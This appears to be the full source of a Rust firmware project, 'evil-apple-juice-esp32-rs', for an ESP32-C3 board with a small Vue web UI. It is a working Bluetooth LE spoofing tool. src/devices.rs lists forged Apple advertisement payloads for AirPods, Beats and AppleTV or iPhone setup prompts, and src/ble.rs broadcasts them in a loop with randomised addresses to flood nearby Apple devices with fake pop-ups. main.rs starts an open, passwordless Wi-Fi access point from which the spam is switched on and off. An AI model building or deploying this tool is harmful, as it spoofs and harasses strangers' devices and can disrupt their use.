├── .cargo
└── config.toml
├── .github
└── workflows
│ └── rust_ci.yml
├── .gitignore
├── Cargo.toml
├── README.md
├── README_cn.md
├── build.rs
├── rust-toolchain.toml
├── sdkconfig.defaults
├── src
├── ble.rs
├── devices.rs
├── http.rs
└── main.rs
└── vue-ui
├── .gitignore
├── .vscode
└── extensions.json
├── README.md
├── env.d.ts
├── index.html
├── package.json
├── src
├── App.vue
└── main.ts
├── tsconfig.app.json
├── tsconfig.json
├── tsconfig.node.json
└── vite.config.ts
/.cargo/config.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | target = "riscv32imc-esp-espidf"
3 |
4 | [target.riscv32imc-esp-espidf]
5 | linker = "ldproxy"
6 | # runner = "espflash --monitor" # Select this runner for espflash v1.x.x
7 | runner = "espflash flash --monitor" # Select this runner for espflash v2.x.x
8 | rustflags = ["--cfg", "espidf_time64", "-C", "default-linker-libraries"]
9 |
10 | [unstable]
11 | build-std = ["core", "alloc", "panic_abort"]
12 |
13 | [env]
14 | MCU="esp32c3"
15 | ESP_IDF_PATH_ISSUES = 'warn'
16 | # Note: this variable is not used by the pio builder (`cargo build --features pio`)
17 | ESP_IDF_VERSION = "v5.1.1"
18 |
19 |
--------------------------------------------------------------------------------
/.github/workflows/rust_ci.yml:
--------------------------------------------------------------------------------
1 | name: Continuous Integration
2 |
3 | on:
4 | push:
5 | paths-ignore:
6 | - "**/README.md"
7 | pull_request:
8 | workflow_dispatch:
9 |
10 | env:
11 | CARGO_TERM_COLOR: always
12 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
13 |
14 | jobs:
15 | rust-checks:
16 | name: Rust Checks
17 | runs-on: ubuntu-latest
18 | strategy:
19 | fail-fast: false
20 | matrix:
21 | action:
22 | - command: build
23 | args: --release
24 | - command: fmt
25 | args: --all -- --check --color always
26 | - command: clippy
27 | args: --workspace -- -D warnings
28 | steps:
29 | - name: Checkout repository
30 | uses: actions/checkout@v4
31 | - name: Enable caching
32 | uses: Swatinem/rust-cache@v2
33 | - name: Setup Node
34 | uses: actions/setup-node@master
35 | - name: Build UI
36 | run: npm install && npm run build
37 | working-directory: vue-ui
38 | - name: Setup Rust
39 | uses: esp-rs/xtensa-toolchain@v1.5
40 | with:
41 | toolchain: nightly
42 | components: rust-src
43 | - name: Run command
44 | run: cargo ${{ matrix.action.command }} ${{ matrix.action.args }}
45 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | /.vscode
2 | /.embuild
3 | /target
4 | /Cargo.lock
5 | /.idea
6 | .DS_Store
7 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "evil-apple-juice-esp32-rs"
3 | version = "0.1.0"
4 | authors = ["lz1998 <875543533@qq.com>"]
5 | edition = "2021"
6 | resolver = "2"
7 | rust-version = "1.71"
8 |
9 | [profile.release]
10 | opt-level = "s"
11 | strip = true
12 |
13 | [profile.dev]
14 | debug = true # Symbols are nice and they don't increase the size on Flash
15 | opt-level = "z"
16 |
17 | [features]
18 | default = ["alloc", "esp-idf-svc/native", "esp-idf-svc/panic_handler", "esp-idf-svc/alloc_handler", "esp-idf-svc/libstart"]
19 |
20 | pio = ["esp-idf-svc/pio"]
21 | std = ["alloc", "esp-idf-svc/binstart", "esp-idf-svc/std"]
22 | alloc = ["esp-idf-svc/alloc"]
23 | nightly = ["esp-idf-svc/nightly"]
24 | experimental = ["esp-idf-svc/experimental"]
25 | embassy = ["esp-idf-svc/embassy-sync", "esp-idf-svc/critical-section", "esp-idf-svc/embassy-time-driver"]
26 |
27 | [dependencies]
28 | log = { version = "0.4", default-features = false }
29 | esp-idf-svc = { version = "0.47.3", default-features = false }
30 | esp32-nimble = { version="0.3.2", default-features = false, features = ["no_std"] }
31 | esp-idf-hal = { version = "0.42.5", default-features = false, features = ["embassy-sync", "nightly"] }
32 | esp-async-tcp = { git = "https://github.com/lz1998/esp-async-tcp.git", branch = "main" }
33 | esp-async-http-server = { git = "https://github.com/lz1998/esp-async-http-server.git", rev = "78e3f1e715d49521da499b1aaab27453b16248fb" }
34 | embassy-futures = "0.1"
35 |
36 | [build-dependencies]
37 | embuild = "0.31.3"
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # evil-apple-juice-esp32-rs
2 |
3 | English | [中文](README_cn.md)
4 |
5 | ## How To Use
6 | 1. Setup the env: [prerequisites](https://github.com/esp-rs/esp-idf-template#prerequisites).
7 | 2. Connect the Esp32c3 with USB cable.
8 | 3. Execute `npm install && npm run build` in `vue-ui`.
9 | 4. Execute `cargo run`.
10 | 5. Connect Wifi `esp32` and visit `http://192.168.71.1:8080/` to Start/Stop
11 |
12 |
13 |
--------------------------------------------------------------------------------
/README_cn.md:
--------------------------------------------------------------------------------
1 | # evil-apple-juice-esp32-rs
2 |
3 | [English](README.md) | 中文
4 |
5 | ## 使用说明
6 | 1. 配置环境: [prerequisites](https://github.com/esp-rs/esp-idf-template#prerequisites)
7 | 2. 用 USB 线连接 esp32c3
8 | 3. 在 `vue-ui` 执行 `npm install && npm run build`
9 | 4. 执行 `cargo run`
10 | 5. 连接 Wi-Fi `esp32`,访问 `http://192.168.71.1:8080/` 控制开关
11 |
12 |
13 |
--------------------------------------------------------------------------------
/build.rs:
--------------------------------------------------------------------------------
1 | fn main() {
2 | embuild::espidf::sysenv::output();
3 | }
4 |
--------------------------------------------------------------------------------
/rust-toolchain.toml:
--------------------------------------------------------------------------------
1 | [toolchain]
2 | channel = "esp"
3 | components = ["rust-src"]
4 |
--------------------------------------------------------------------------------
/sdkconfig.defaults:
--------------------------------------------------------------------------------
1 | # Rust often needs a bit of an extra main task stack size compared to C (the default is 3K)
2 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=15000
3 |
4 | CONFIG_LOG_DEFAULT_LEVEL=5
5 |
6 | CONFIG_BT_ENABLED=y
7 | CONFIG_BT_BLE_ENABLED=y
8 | CONFIG_BT_BLUEDROID_ENABLED=n
9 | CONFIG_BT_NIMBLE_ENABLED=y
10 | # CONFIG_BT_NIMBLE_EXT_ADV=y
11 |
12 | CONFIG_BTDM_CTRL_MODE_BLE_ONLY=y
13 | CONFIG_BTDM_CTRL_MODE_BR_EDR_ONLY=n
14 | CONFIG_BTDM_CTRL_MODE_BTDM=n
15 | #CONFIG_BT_NIMBLE_EXT_ADV=y
16 |
17 |
18 |
--------------------------------------------------------------------------------
/src/ble.rs:
--------------------------------------------------------------------------------
1 | use crate::devices::DEVICES;
2 | use core::sync::atomic::{AtomicBool, Ordering};
3 | use esp32_nimble::enums::{ConnMode, DiscMode, OwnAddrType};
4 | use esp_idf_svc::sys::{esp_fill_random, random};
5 |
6 | pub static START: AtomicBool = AtomicBool::new(true);
7 |
8 | pub fn start() {
9 | START.store(true, Ordering::Relaxed)
10 | }
11 |
12 | pub fn stop() {
13 | START.store(false, Ordering::Relaxed)
14 | }
15 |
16 | fn random_addr() -> [u8; 6] {
17 | let mut addr = [0u8; 6];
18 | unsafe { esp_fill_random(addr.as_mut_ptr() as *mut core::ffi::c_void, 6) };
19 | addr[0] |= 0xF0;
20 | log::info!("{addr:?}");
21 | addr
22 | }
23 |
24 | fn random_mode() -> (ConnMode, DiscMode) {
25 | match unsafe { random() } % 3 {
26 | 0 => (ConnMode::Non, DiscMode::Non),
27 | 1 => (ConnMode::Non, DiscMode::Gen),
28 | _ => (ConnMode::Und, DiscMode::Non),
29 | }
30 | }
31 |
32 | pub async fn ble_loop(timer: &mut esp_idf_hal::timer::TimerDriver<'_>) {
33 | let ble_device = esp32_nimble::BLEDevice::take();
34 | ble_device.set_own_addr_type(OwnAddrType::Random);
35 | let ble_advertising = ble_device.get_advertising();
36 |
37 | for (name, data) in DEVICES.iter().cycle() {
38 | if START.load(Ordering::Relaxed) {
39 | log::info!("{name}");
40 | let _ = ble_device.set_rnd_addr(random_addr());
41 | let (conn_mode, disc_mode) = random_mode();
42 | ble_advertising.advertisement_type(conn_mode);
43 | ble_advertising.disc_mode(disc_mode);
44 | ble_advertising.custom_adv_data(data).unwrap();
45 | ble_advertising.start().unwrap();
46 | }
47 | timer.delay(timer.tick_hz()).await.unwrap();
48 | ble_advertising.stop().unwrap();
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/devices.rs:
--------------------------------------------------------------------------------
1 | pub const DEVICES: &[(&str, &[u8])] = &[
2 | (
3 | "Airpods",
4 | &[
5 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
6 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
7 | 0x00, 0x00, 0x00,
8 | ],
9 | ),
10 | (
11 | "Airpods Pro",
12 | &[
13 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
14 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
15 | 0x00, 0x00, 0x00,
16 | ],
17 | ),
18 | (
19 | "Airpods Max",
20 | &[
21 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
22 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
23 | 0x00, 0x00, 0x00,
24 | ],
25 | ),
26 | (
27 | "Airpods Gen 2",
28 | &[
29 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
30 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
31 | 0x00, 0x00, 0x00,
32 | ],
33 | ),
34 | (
35 | "Airpods Gen 3",
36 | &[
37 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
38 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
39 | 0x00, 0x00, 0x00,
40 | ],
41 | ),
42 | (
43 | "Airpods Pro Gen 2",
44 | &[
45 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
46 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
47 | 0x00, 0x00, 0x00,
48 | ],
49 | ),
50 | (
51 | "Power Beats",
52 | &[
53 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
54 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
55 | 0x00, 0x00, 0x00,
56 | ],
57 | ),
58 | (
59 | "Power Beats Pro",
60 | &[
61 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
62 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
63 | 0x00, 0x00, 0x00,
64 | ],
65 | ),
66 | (
67 | "Beats Solo Pro",
68 | &[
69 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
70 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
71 | 0x00, 0x00, 0x00,
72 | ],
73 | ),
74 | (
75 | "Beats Studio Buds",
76 | &[
77 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
78 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
79 | 0x00, 0x00, 0x00,
80 | ],
81 | ),
82 | (
83 | "Beats Flex",
84 | &[
85 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
86 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
87 | 0x00, 0x00, 0x00,
88 | ],
89 | ),
90 | (
91 | "Beats X",
92 | &[
93 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
94 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
95 | 0x00, 0x00, 0x00,
96 | ],
97 | ),
98 | (
99 | "Beats Solo 3",
100 | &[
101 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
102 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
103 | 0x00, 0x00, 0x00,
104 | ],
105 | ),
106 | (
107 | "Beats Studio 3",
108 | &[
109 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
110 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
111 | 0x00, 0x00, 0x00,
112 | ],
113 | ),
114 | (
115 | "Beats Studio Pro",
116 | &[
117 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
118 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
119 | 0x00, 0x00, 0x00,
120 | ],
121 | ),
122 | (
123 | "Betas Fit Pro",
124 | &[
125 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
126 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
127 | 0x00, 0x00, 0x00,
128 | ],
129 | ),
130 | (
131 | "Beats Studio Buds Plus",
132 | &[
133 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00,
134 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
135 | 0x00, 0x00, 0x00,
136 | ],
137 | ),
138 | (
139 | "AppleTV Setup",
140 | &[
141 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01,
142 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
143 | ],
144 | ),
145 | (
146 | "AppleTV Pair",
147 | &[
148 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06,
149 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
150 | ],
151 | ),
152 | (
153 | "AppleTV New User",
154 | &[
155 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20,
156 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
157 | ],
158 | ),
159 | (
160 | "AppleTV AppleID Setup",
161 | &[
162 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b,
163 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
164 | ],
165 | ),
166 | (
167 | "AppleTV Wireless Audio Sync",
168 | &[
169 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0,
170 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
171 | ],
172 | ),
173 | (
174 | "AppleTV Homekit Setup",
175 | &[
176 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d,
177 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
178 | ],
179 | ),
180 | (
181 | "AppleTV Keyboard Setup",
182 | &[
183 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13,
184 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
185 | ],
186 | ),
187 | (
188 | "AppleTV Connecting to Network",
189 | &[
190 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27,
191 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
192 | ],
193 | ),
194 | (
195 | "Homepod Setup",
196 | &[
197 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b,
198 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
199 | ],
200 | ),
201 | (
202 | "Setup New Phone",
203 | &[
204 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09,
205 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
206 | ],
207 | ),
208 | (
209 | "Transfer Number",
210 | &[
211 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02,
212 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
213 | ],
214 | ),
215 | (
216 | "TV Color Balance",
217 | &[
218 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e,
219 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
220 | ],
221 | ),
222 | ];
223 |
--------------------------------------------------------------------------------
/src/http.rs:
--------------------------------------------------------------------------------
1 | use core::net::{IpAddr, Ipv4Addr, SocketAddr};
2 | use esp_async_http_server::Response;
3 |
4 | pub async fn start_http_server() {
5 | let addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 8080);
6 | let listener = esp_async_tcp::TcpListener::bind(&addr).unwrap();
7 | if let Err(err) = esp_async_http_server::serve(listener, router).await {
8 | log::error!("serve error: {err:?}")
9 | }
10 | }
11 |
12 | async fn router(
13 | addr: SocketAddr,
14 | req: esp_async_http_server::Request<'_, '_>,
15 | body: &[u8],
16 | ) -> Response {
17 | match req.path {
18 | None => "400".into(),
19 | Some(p) if p.starts_with("/api/start") => start(addr, req, body).await.into(),
20 | Some(p) if p.starts_with("/api/stop") => stop(addr, req, body).await.into(),
21 | Some(_) => index().await.into(),
22 | }
23 | }
24 |
25 | async fn start(
26 | _addr: SocketAddr,
27 | _req: esp_async_http_server::Request<'_, '_>,
28 | _body: &[u8],
29 | ) -> &'static str {
30 | log::info!("start");
31 | crate::ble::start();
32 | "start"
33 | }
34 |
35 | async fn stop(
36 | _addr: SocketAddr,
37 | _req: esp_async_http_server::Request<'_, '_>,
38 | _body: &[u8],
39 | ) -> &'static str {
40 | log::info!("stop");
41 | crate::ble::stop();
42 | "stop"
43 | }
44 |
45 | async fn index() -> &'static str {
46 | include_str!("../vue-ui/dist/index.html")
47 | }
48 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | #![feature(ip_in_core)]
2 | #![no_std]
3 | #![no_main]
4 | extern crate alloc;
5 |
6 | mod ble;
7 | mod devices;
8 | mod http;
9 |
10 | use crate::ble::ble_loop;
11 | use crate::http::start_http_server;
12 | use embassy_futures::select::select;
13 | use esp_idf_hal::peripherals::Peripherals;
14 | use esp_idf_hal::sys::EspError;
15 | use esp_idf_svc::eventloop::EspSystemEventLoop;
16 | use esp_idf_svc::nvs::EspDefaultNvsPartition;
17 | use esp_idf_svc::timer::EspTaskTimerService;
18 | use esp_idf_svc::wifi::{AsyncWifi, AuthMethod, EspWifi};
19 |
20 | #[no_mangle]
21 | fn main() {
22 | // It is necessary to call this function once. Otherwise some patches to the runtime
23 | // implemented by esp-idf-sys might not link properly. See https://github.com/esp-rs/esp-idf-template/issues/71
24 | esp_idf_svc::sys::link_patches();
25 |
26 | // Bind the log crate to the ESP Logging facilities
27 | esp_idf_svc::log::EspLogger::initialize_default();
28 |
29 | log::info!("Hello, world!");
30 | esp_idf_hal::task::block_on(run()).unwrap();
31 | }
32 |
33 | async fn run() -> Result<(), EspError> {
34 | let peripherals = Peripherals::take()?;
35 |
36 | let sys_loop = EspSystemEventLoop::take()?;
37 | let timer_service = EspTaskTimerService::new()?;
38 | let nvs = EspDefaultNvsPartition::take()?;
39 | let mut wifi = AsyncWifi::wrap(
40 | EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
41 | sys_loop,
42 | timer_service,
43 | )?;
44 |
45 | let wifi_configuration = esp_idf_svc::wifi::Configuration::AccessPoint(
46 | esp_idf_svc::wifi::AccessPointConfiguration {
47 | ssid: "esp32".into(),
48 | password: "".into(),
49 | auth_method: AuthMethod::None,
50 | channel: 1,
51 | max_connections: 255,
52 | ..Default::default()
53 | },
54 | );
55 |
56 | wifi.set_configuration(&wifi_configuration)?;
57 |
58 | wifi.start().await?;
59 | log::info!("Wifi started");
60 |
61 | wifi.wait_netif_up().await?;
62 | log::info!("Wifi netif up");
63 | log::info!("{:?}", wifi.wifi().ap_netif().get_ip_info());
64 |
65 | let mut timer = esp_idf_hal::timer::TimerDriver::new(
66 | peripherals.timer00,
67 | &esp_idf_hal::timer::TimerConfig::new(),
68 | )?;
69 | timer.delay(timer.tick_hz()).await.unwrap();
70 | select(start_http_server(), ble_loop(&mut timer)).await;
71 | Ok(())
72 | }
73 |
--------------------------------------------------------------------------------
/vue-ui/.gitignore:
--------------------------------------------------------------------------------
1 | # Logs
2 | logs
3 | *.log
4 | npm-debug.log*
5 | yarn-debug.log*
6 | yarn-error.log*
7 | pnpm-debug.log*
8 | lerna-debug.log*
9 |
10 | node_modules
11 | .DS_Store
12 | dist
13 | dist-ssr
14 | coverage
15 | *.local
16 |
17 | /cypress/videos/
18 | /cypress/screenshots/
19 |
20 | # Editor directories and files
21 | .vscode/*
22 | !.vscode/extensions.json
23 | .idea
24 | *.suo
25 | *.ntvs*
26 | *.njsproj
27 | *.sln
28 | *.sw?
29 |
30 | *.tsbuildinfo
31 |
32 | package-lock.json
--------------------------------------------------------------------------------
/vue-ui/.vscode/extensions.json:
--------------------------------------------------------------------------------
1 | {
2 | "recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
3 | }
4 |
--------------------------------------------------------------------------------
/vue-ui/README.md:
--------------------------------------------------------------------------------
1 | # vue-ui
2 |
3 | This template should help get you started developing with Vue 3 in Vite.
4 |
5 | ## Recommended IDE Setup
6 |
7 | [VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
8 |
9 | ## Type Support for `.vue` Imports in TS
10 |
11 | TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
12 |
13 | If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
14 |
15 | 1. Disable the built-in TypeScript Extension
16 | 1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
17 | 2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
18 | 2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
19 |
20 | ## Customize configuration
21 |
22 | See [Vite Configuration Reference](https://vitejs.dev/config/).
23 |
24 | ## Project Setup
25 |
26 | ```sh
27 | npm install
28 | ```
29 |
30 | ### Compile and Hot-Reload for Development
31 |
32 | ```sh
33 | npm run dev
34 | ```
35 |
36 | ### Type-Check, Compile and Minify for Production
37 |
38 | ```sh
39 | npm run build
40 | ```
41 |
--------------------------------------------------------------------------------
/vue-ui/env.d.ts:
--------------------------------------------------------------------------------
1 | ///